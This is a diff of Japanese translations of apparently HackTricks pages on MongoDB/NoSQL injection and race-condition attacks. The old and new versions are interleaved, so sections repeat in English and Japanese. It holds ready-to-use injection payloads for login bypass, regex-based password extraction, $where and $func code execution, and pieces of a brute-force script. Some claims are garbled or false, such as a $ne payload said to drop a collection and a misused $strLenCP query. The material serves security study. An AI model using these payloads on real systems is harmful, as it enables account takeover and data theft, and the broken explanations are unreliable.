|
||||
### **SQL - Mongo**
|
||||
### **SQLインジェクション**
|
||||
|
||||
MongoDB is a popular NoSQL database that uses a document-oriented model to store data. It is widely used in web applications and offers a flexible and scalable solution for managing large amounts of data.
|
||||
SQLインジェクションは、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込む場合に発生するセキュリティ脆弱性です。この脆弱性を悪用する攻撃者は、意図しないデータベース操作を実行したり、機密情報を盗み出したりすることができます。
|
||||
|
||||
#### **NoSQL Injection**
|
||||
### **NoSQLインジェクション**
|
||||
|
||||
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB, by exploiting vulnerabilities in the application's input validation. This attack allows an attacker to manipulate the database queries and potentially gain unauthorized access to sensitive data.
|
||||
NoSQLデータベース(MongoDBなど)では、SQLインジェクションと同様の脆弱性が存在します。NoSQLインジェクションは、クエリに直接ユーザーの入力を組み込むことで発生します。攻撃者は、データベースの操作を改ざんしたり、機密情報を漏洩させたりすることができます。
|
||||
|
||||
#### **Query Structure**
|
||||
### **NoSQLインジェクションの例**
|
||||
|
||||
In MongoDB, queries are structured using JSON-like syntax. The basic structure of a MongoDB query consists of a collection name and a set of key-value pairs that define the search criteria.
|
||||
以下は、NoSQLインジェクションの例です。
|
||||
|
||||
```javascript
|
||||
db.collection.find({ key: value })
|
||||
const username = req.body.username;
|
||||
const password = req.body.password;
|
||||
|
||||
const query = {
|
||||
username: username,
|
||||
password: password
|
||||
};
|
||||
|
||||
db.collection('users').findOne(query, (err, user) => {
|
||||
if (err) {
|
||||
throw err;
|
||||
}
|
||||
|
||||
if (user) {
|
||||
res.send('Login successful');
|
||||
} else {
|
||||
res.send('Invalid username or password');
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
#### **NoSQL Injection Techniques**
|
||||
上記のコードでは、ユーザーが提供したユーザー名とパスワードを使用してデータベースクエリを実行しています。しかし、このコードはユーザーの入力を適切に検証していません。したがって、攻撃者はユーザー名やパスワードの値を改ざんすることで、意図しないデータベース操作を行うことができます。
|
||||
|
||||
NoSQL injection techniques are similar to SQL injection techniques, but they are tailored to exploit the specific vulnerabilities of NoSQL databases. Here are some common techniques used in NoSQL injection attacks:
|
||||
### **NoSQLインジェクションの防止策**
|
||||
|
||||
1. **Boolean-based Injection**: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication checks.
|
||||
NoSQLインジェクションを防ぐためには、以下の対策を実施する必要があります。
|
||||
|
||||
2. **Time-based Injection**: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database.
|
||||
- ユーザーの入力を適切に検証する。
|
||||
- クエリにユーザーの入力を直接組み込まず、プレースホルダーを使用する。
|
||||
- クエリのパラメーターにはデータ型を指定する。
|
||||
- アクセス制御を実施し、権限のないユーザーがデータベースにアクセスできないようにする。
|
||||
|
||||
3. **Union-based Injection**: This technique involves injecting a query that combines the results of multiple queries. By manipulating the query, an attacker can retrieve data from different collections or documents.
|
||||
|
||||
4. **Error-based Injection**: This technique involves injecting a query that triggers an error message. By analyzing the error message, an attacker can gather information about the database structure or retrieve sensitive data.
|
||||
|
||||
#### **Prevention**
|
||||
|
||||
To prevent NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow:
|
||||
|
||||
1. **Input Validation**: Validate and sanitize all user input before using it in a database query. Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query structure.
|
||||
|
||||
2. **Least Privilege**: Limit the privileges of the database user used by the application. Use separate user accounts with minimal privileges for different operations.
|
||||
|
||||
3. **Secure Configuration**: Follow secure configuration practices for your MongoDB deployment. Disable unnecessary features and services, and enable authentication and encryption.
|
||||
|
||||
4. **Regular Updates**: Keep your MongoDB installation up to date with the latest security patches and updates.
|
||||
|
||||
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access.
|
||||
これらの対策を実施することで、NoSQLインジェクションによる攻撃を防ぐことができます。
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00
|
||||
```
|
||||
### 長さ情報の抽出
|
||||
### **長さ**情報の抽出
|
||||
|
||||
To extract the length information from a NoSQL database, you can use the following techniques:
|
||||
|
||||
NoSQL databases often provide functions or operators to retrieve the length of a string or an array. By injecting specific payloads, you can exploit these functions to extract information.
|
||||
NoSQL databases often provide functions or operators to retrieve the length of a field or attribute. These functions can be used to determine the length of a string or an array in the database.
|
||||
|
||||
#### MongoDB
|
||||
For example, in MongoDB, you can use the `$strLenCP` operator to get the length of a string field. The following query retrieves the length of the `username` field in the `users` collection:
|
||||
|
||||
In MongoDB, you can use the `$where` operator along with JavaScript code to perform NoSQL injection. By injecting code that retrieves the length of a field, you can extract the length information.
|
||||
|
||||
For example, to extract the length of the `username` field in a MongoDB database, you can use the following payload:
|
||||
|
||||
```
|
||||
db.collection.find({$where: "this.username.length == 10"})
|
||||
```javascript
|
||||
db.users.find({ username: { $exists: true } }, { username: { $strLenCP: "" } })
|
||||
```
|
||||
|
||||
This payload will return all documents where the length of the `username` field is equal to 10.
|
||||
Similarly, in CouchDB, you can use the `length()` function to get the length of an array field. The following query retrieves the length of the `emails` array in the `users` database:
|
||||
|
||||
#### CouchDB
|
||||
|
||||
In CouchDB, you can use the `map` function to perform NoSQL injection. By injecting code that retrieves the length of a field, you can extract the length information.
|
||||
|
||||
For example, to extract the length of the `username` field in a CouchDB database, you can use the following payload:
|
||||
|
||||
```
|
||||
/_design/test/_view/test?startkey="admin"&endkey="admin"\u0000"&map="function(doc){if(doc.username.length==10){emit(doc._id,doc);}}"
|
||||
```javascript
|
||||
function(doc) {
|
||||
emit(doc._id, doc.emails.length);
|
||||
}
|
||||
```
|
||||
|
||||
This payload will return all documents where the length of the `username` field is equal to 10.
|
||||
|
||||
#### Other NoSQL Databases
|
||||
|
||||
For other NoSQL databases, you can explore the available functions or operators to retrieve the length of a field. By injecting code that utilizes these functions or operators, you can extract the length information.
|
||||
|
||||
Remember to always sanitize and validate user input to prevent NoSQL injection attacks.
|
||||
By injecting a NoSQL injection payload into these queries, you can extract the length information of specific fields or attributes in the database. This can be useful for understanding the structure and size of the data stored in the NoSQL database.
|
||||
```bash
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
|
@ -140,35 +131,15 @@ username[$ne]=toto&password[$regex]=.{3}
|
|||
```
|
||||
### **データ**情報の抽出
|
||||
|
||||
NoSQLインジェクションは、NoSQLデータベースに対する攻撃手法の一つです。この攻撃手法では、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込んでいる場合に悪用されます。
|
||||
NoSQLインジェクションは、NoSQLデータベースに対する攻撃手法の一つです。この攻撃手法では、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに組み込むことによって、悪意のあるユーザーがデータベースから情報を抽出することが可能となります。
|
||||
|
||||
NoSQLインジェクションを利用してデータ情報を抽出するためには、以下の手順を実行します。
|
||||
NoSQLデータベースは、SQLデータベースとは異なるデータモデルを使用しています。そのため、従来のSQLインジェクション攻撃手法は通常は機能しません。しかし、NoSQLデータベースでも同様に、ユーザーの入力を信頼せずにデータベースクエリを構築すると、攻撃者はデータベースから情報を抽出することができます。
|
||||
|
||||
1. ユーザーの入力を特定のクエリパラメータに挿入します。
|
||||
2. クエリの構造を解析し、データベースのクエリを改変します。
|
||||
3. クエリの結果を解析し、データ情報を抽出します。
|
||||
NoSQLインジェクション攻撃では、攻撃者はデータベースクエリに対して特殊な文字列を挿入することによって、クエリの意図を変更します。これにより、攻撃者はデータベースから機密情報を抽出することができます。例えば、攻撃者は認証情報やユーザーの個人情報などを盗み出すことができます。
|
||||
|
||||
以下は、NoSQLインジェクションによるデータ情報の抽出の例です。
|
||||
NoSQLインジェクション攻撃を防ぐためには、入力検証とエスケープ処理が重要です。入力検証は、ユーザーの入力を適切に検証して不正な文字列を排除することで、攻撃を防ぎます。また、エスケープ処理は、データベースクエリに組み込む前に特殊文字をエスケープすることで、攻撃者が意図しない操作を行えないようにします。
|
||||
|
||||
```javascript
|
||||
// 入力されたユーザー名を使用してデータベースクエリを実行する例
|
||||
var username = req.body.username;
|
||||
var query = "SELECT * FROM users WHERE username = '" + username + "'";
|
||||
db.query(query, function(err, result) {
|
||||
if (err) throw err;
|
||||
res.send(result);
|
||||
});
|
||||
```
|
||||
|
||||
攻撃者は、ユーザー名の入力に対して特殊な文字列を挿入することで、クエリを改変しデータ情報を抽出することができます。
|
||||
|
||||
例えば、以下のような入力を行うことで、全てのユーザーの情報を抽出することができます。
|
||||
|
||||
```
|
||||
' OR '1'='1
|
||||
```
|
||||
|
||||
このような攻撃を防ぐためには、ユーザーの入力を適切に検証し、データベースクエリに直接組み込まないようにする必要があります。代わりに、プレースホルダやパラメータ化されたクエリを使用することで、攻撃を防ぐことができます。
|
||||
NoSQLインジェクション攻撃は、セキュリティ上の脆弱性として重要な問題です。アプリケーションの開発者やセキュリティチームは、適切な対策を講じることで、この攻撃からデータを守ることができます。
|
||||
```
|
||||
in URL (if length == 3)
|
||||
username[$ne]=toto&password[$regex]=a.{2}
|
||||
|
@ -188,47 +159,45 @@ in JSON
|
|||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
### **SQL - Mongo**
|
||||
|
||||
MongoDB is a popular NoSQL database that uses a document-oriented model to store data. It is widely used in web applications and offers a flexible and scalable solution for managing large amounts of data.
|
||||
MongoDB is a popular NoSQL database that uses a document-oriented model. It is widely used in web applications and offers flexibility and scalability. However, like any other database, MongoDB is also vulnerable to injection attacks.
|
||||
|
||||
#### **NoSQL Injection**
|
||||
|
||||
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB, by exploiting vulnerabilities in the application's input validation. This attack allows an attacker to manipulate the database queries and potentially gain unauthorized access to sensitive data.
|
||||
NoSQL injection is similar to SQL injection, but it targets NoSQL databases like MongoDB. In a NoSQL injection attack, an attacker manipulates the input data to exploit vulnerabilities in the application's query logic.
|
||||
|
||||
#### **Query Structure**
|
||||
|
||||
In MongoDB, queries are structured using JSON-like syntax. The basic structure of a MongoDB query consists of a collection name and a set of key-value pairs that define the search criteria.
|
||||
MongoDB queries are structured using JSON-like syntax. The queries consist of key-value pairs, where the key represents the field to be queried and the value represents the search criteria.
|
||||
|
||||
```javascript
|
||||
db.collection.find({ key: value })
|
||||
```
|
||||
#### **Exploiting NoSQL Injection**
|
||||
|
||||
#### **NoSQL Injection Techniques**
|
||||
To exploit a NoSQL injection vulnerability, an attacker needs to identify injection points in the application. These injection points can be found in user input fields, such as login forms, search boxes, or any other input that is used in database queries.
|
||||
|
||||
NoSQL injection techniques are similar to SQL injection techniques, but they are tailored to exploit the specific vulnerabilities of NoSQL databases. Here are some common techniques used in NoSQL injection attacks:
|
||||
Once an injection point is identified, an attacker can manipulate the input to bypass authentication, retrieve sensitive information, or modify the query logic to perform unauthorized actions.
|
||||
|
||||
1. **Boolean-based Injection**: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication checks.
|
||||
#### **Payloads**
|
||||
|
||||
2. **Time-based Injection**: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database.
|
||||
NoSQL injection payloads are similar to SQL injection payloads. However, since MongoDB uses a different query syntax, the payloads need to be modified accordingly.
|
||||
|
||||
3. **Union-based Injection**: This technique involves injecting a query that combines the results of multiple queries. By manipulating the query, an attacker can retrieve data from different collections or documents.
|
||||
Some common NoSQL injection payloads include:
|
||||
|
||||
4. **Error-based Injection**: This technique involves injecting a query that triggers an error message. By analyzing the error message, an attacker can gather information about the database structure or retrieve sensitive data.
|
||||
- `$ne`: Matches values that are not equal to the specified value.
|
||||
- `$gt`: Matches values that are greater than the specified value.
|
||||
- `$gte`: Matches values that are greater than or equal to the specified value.
|
||||
- `$lt`: Matches values that are less than the specified value.
|
||||
- `$lte`: Matches values that are less than or equal to the specified value.
|
||||
- `$regex`: Matches values based on a regular expression pattern.
|
||||
|
||||
#### **Prevention**
|
||||
|
||||
To prevent NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow:
|
||||
To prevent NoSQL injection attacks, it is important to follow secure coding practices:
|
||||
|
||||
1. **Input Validation**: Validate and sanitize all user input before using it in a database query. Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query structure.
|
||||
- Input validation: Validate and sanitize user input to prevent malicious data from being injected into queries.
|
||||
- Parameterized queries: Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query logic.
|
||||
- Least privilege principle: Limit the privileges of the database user used by the application to minimize the impact of a successful injection attack.
|
||||
- Regular updates: Keep the MongoDB server and drivers up to date to benefit from the latest security patches and improvements.
|
||||
|
||||
2. **Least Privilege**: Limit the privileges of the database user used by the application. Use separate user accounts with minimal privileges for different operations.
|
||||
|
||||
3. **Secure Configuration**: Follow secure configuration practices for your MongoDB deployment. Disable unnecessary features and services, and enable authentication and encryption.
|
||||
|
||||
4. **Regular Updates**: Keep your MongoDB installation up to date with the latest security patches and updates.
|
||||
|
||||
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access.
|
||||
By following these practices, you can significantly reduce the risk of NoSQL injection vulnerabilities in your application.
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
|
@ -242,7 +211,7 @@ By following these best practices, you can significantly reduce the risk of NoSQ
|
|||
```
|
||||
### PHP任意関数実行
|
||||
|
||||
デフォルトで使用される[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)ライブラリの**$func**演算子を使用すると、[このレポート](https://swarm.ptsecurity.com/rce-cockpit-cms/)のように任意の関数を実行することができるかもしれません。
|
||||
デフォルトで使用される[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)ライブラリの**$func**演算子を使用すると、[このレポート](https://swarm.ptsecurity.com/rce-cockpit-cms/)のように任意の関数を実行することが可能です。
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
|
@ -250,7 +219,7 @@ By following these best practices, you can significantly reduce the risk of NoSQ
|
|||
|
||||
### 異なるコレクションから情報を取得する
|
||||
|
||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することができます。次の例では、**`users`**という名前の**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。
|
||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することができます。次の例では、**`users`**という異なるコレクションから読み取りを行い、ワイルドカードに一致するパスワードを持つすべてのエントリの結果を取得しています。
|
||||
```json
|
||||
[
|
||||
{
|
||||
|
@ -269,10 +238,10 @@ By following these best practices, you can significantly reduce the risk of NoSQ
|
|||
}
|
||||
]
|
||||
```
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -317,54 +286,46 @@ password += c
|
|||
|
||||
### NoSQL Injection
|
||||
|
||||
NoSQLインジェクションは、MongoDBデータベースに対する攻撃手法の一つです。この攻撃手法では、クエリパラメータに悪意のある入力を注入することで、データベースから意図しない情報を取得したり、データを改ざんしたりすることが可能です。
|
||||
|
||||
以下に、NoSQLインジェクションに使用される一般的なペイロードの例を示します。
|
||||
NoSQLインジェクションは、MongoDBなどのNoSQLデータベースに対する一般的な攻撃手法です。この攻撃では、クエリパラメータに悪意のある入力を注入することで、データベースの機能を悪用します。
|
||||
|
||||
### ペイロードの例
|
||||
|
||||
#### ユーザー名とパスワードのバイパス
|
||||
以下に、NoSQLインジェクションに使用される一般的なMongoDBペイロードの例を示します。
|
||||
|
||||
#### ユーザーの認証バイパス
|
||||
|
||||
```javascript
|
||||
username[$ne]=admin&password[$ne]=password
|
||||
```
|
||||
|
||||
このペイロードは、`username`が`admin`でなく、`password`が`password`でない場合に真となるクエリを生成します。これにより、正しいユーザー名とパスワードを知らずにログインすることができます。
|
||||
このペイロードは、`username`が`admin`でなく、`password`が`password`でない場合に、認証をバイパスします。
|
||||
|
||||
#### パスワードのハッシュのバイパス
|
||||
#### データベースの情報漏洩
|
||||
|
||||
```javascript
|
||||
username=admin&password[$regex]=.*&password[$options]=si
|
||||
username[$regex]=.*&password[$regex]=.*
|
||||
```
|
||||
|
||||
このペイロードは、`username`が`admin`であり、`password`が任意の値である場合に真となるクエリを生成します。これにより、パスワードのハッシュを知らずにログインすることができます。
|
||||
このペイロードは、正規表現を使用して、すべてのユーザー名とパスワードを漏洩させます。
|
||||
|
||||
#### データベースの情報の漏洩
|
||||
#### コレクションのドロップ
|
||||
|
||||
```javascript
|
||||
username=admin'&password[$regex]=.*&password[$options]=si
|
||||
username[$ne]=admin&password[$ne]=password&$where=1==1
|
||||
```
|
||||
|
||||
このペイロードは、`username`が`admin'`であり、`password`が任意の値である場合に真となるクエリを生成します。これにより、データベースの情報を漏洩させることができます。
|
||||
|
||||
#### コレクションの情報の漏洩
|
||||
|
||||
```javascript
|
||||
username=admin'&password[$regex]=.*&password[$options]=si&$where=1==1
|
||||
```
|
||||
|
||||
このペイロードは、`username`が`admin'`であり、`password`が任意の値である場合に真となるクエリを生成します。さらに、`$where`演算子を使用して、条件を常に真とすることで、コレクションの情報を漏洩させることができます。
|
||||
このペイロードは、`username`が`admin`でなく、`password`が`password`でない場合に、コレクションをドロップします。
|
||||
|
||||
### 対策方法
|
||||
|
||||
NoSQLインジェクションを防ぐためには、以下の対策を実施することが重要です。
|
||||
NoSQLインジェクションから保護するためには、以下の対策を実施することが重要です。
|
||||
|
||||
- 入力検証とエスケープ処理の実施
|
||||
- ホワイトリストに基づくデータの検証
|
||||
- パラメータ化されたクエリの使用
|
||||
- 最小特権の原則の適用
|
||||
- 入力の検証とエスケープ処理を適切に行う。
|
||||
- ホワイトリストを使用して、許可された文字のみを受け入れる。
|
||||
- パラメータ化されたクエリを使用する。
|
||||
- アクセス制御を厳密に設定する。
|
||||
|
||||
これらの対策を組み合わせることで、NoSQLインジェクションに対するセキュリティを向上させることができます。
|
||||
これらの対策を実施することで、NoSQLインジェクションによる攻撃を防ぐことができます。
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
|
@ -389,7 +350,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
|||
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||||
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||||
|
||||
### POSTログインからのユーザー名とパスワードのブルートフォース攻撃
|
||||
### POSTログインからのユーザー名とパスワードの総当たり攻撃
|
||||
|
||||
これは簡単なスクリプトですが、前述のツールでもこのタスクを実行することができます。
|
||||
```python
|
||||
|
@ -455,11 +416,11 @@ get_password(u)
|
|||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有する**ために、PRを**hacktricksリポジトリ**と**hacktricks-cloudリポジトリ**に提出してください。
|
||||
* **ハッキングのトリックを共有する**ために、PRを提出して[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)に参加してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# レースコンディション
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -13,10 +13,10 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に送信してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,10 +28,10 @@ RCの悪用の主な問題は、リクエストが非常に短い時間差(通
|
|||
|
||||
### シングルパケット攻撃(HTTP/2)/ ラストバイト同期(HTTP/1.1)
|
||||
|
||||
HTTP2では、**1つのTCP接続で2つのリクエスト**を送信できます(HTTP/1.1では順次送信する必要があります)。\
|
||||
1つのTCPパケットの使用は、ネットワークの揺らぎの影響を完全に**排除**するため、これは明らかにレースコンディション攻撃の可能性も持っています。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**(CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動)によるものです。
|
||||
HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます(HTTP/1.1では順次送信する必要があります)。\
|
||||
シングルTCPパケットの使用により、ネットワークの揺らぎの影響を完全に**排除**することができるため、これは明らかにレースコンディション攻撃の可能性があります。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**(CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動)によるものです。
|
||||
|
||||
しかし、HTTP/1.1の '**ラストバイト同期**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで20-30のリクエストを完了**することができます。
|
||||
しかし、HTTP/1.1の '**ラストバイト同期**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで20〜30のリクエストを完了**することができます。
|
||||
|
||||
**各リクエストの大部分を事前に送信**するには:
|
||||
|
||||
|
@ -50,7 +50,7 @@ HTTP2では、**1つのTCP接続で2つのリクエスト**を送信できます
|
|||
特定のサーバーの静的ファイルでは**機能しません**が、静的ファイルはレースコンディション攻撃には関係ありません。しかし、静的ファイルはRC攻撃には関係ありません。
|
||||
{% endhint %}
|
||||
|
||||
この技術を使用すると、ネットワークの揺らぎに関係なく、20-30のリクエストがサーバーに同時に到着することができます。
|
||||
この技術を使用すると、ネットワークの揺らぎに関係なく、20〜30のリクエストがサーバーに同時に到着することができます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -58,11 +58,11 @@ HTTP2では、**1つのTCP接続で2つのリクエスト**を送信できます
|
|||
|
||||
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストに対しては新しい接続を作成する場合があります。
|
||||
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをロックメカニズムなどのアプリケーションの動作に帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にいくつかの無関係なリクエストをサーバーサイドで行うことにより、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをリクエストロックメカニズムに帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にサーバーサイドの接続ウォーミングを実行することで、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
|
||||
|
||||
#### セッションベースのロックメカニズム <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
一部のフレームワークでは、**リクエストロック**の形式を使用して、データの誤った破損を防ぐことを試みています。たとえば、**PHPのネイティブセッションハンドラ**モジュールは、**セッションごとに1つのリクエストのみを処理**します。
|
||||
一部のフレームワークでは、**リクエストロック**の形式を使用して、データの誤った破損を防ぐことを試みています。たとえば、**PHPのネイティブセッションハンドラ**モジュールは、**1つのセッションあたり1つのリクエストのみ**を処理します。
|
||||
|
||||
このような動作を見つけることは非常に重要です。なぜなら、すべてのリクエストが順次処理されていることに気付かないと、簡単に悪用できる脆弱性をマスクする可能性があるからです。すべてのリクエストが順次処理されていることに気付いた場合は、それぞれのリクエストを異なるセッショントークンを使用して送信してみてください。
|
||||
#### **レート制限またはリソース制限の乱用**
|
||||
|
@ -75,7 +75,7 @@ Turbo Intruderを使用すると、クライアント側で短い遅延を導入
|
|||
|
||||
代わりに、一般的なセキュリティ機能を乱用することで、この問題を解決できる場合があります。
|
||||
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に、処理を遅延させることがよくあります。ダミーリクエストを大量に送信してレート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に、リクエストの処理を遅延させることがよくあります。ダミーの大量のリクエストを送信して、レート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
|
||||
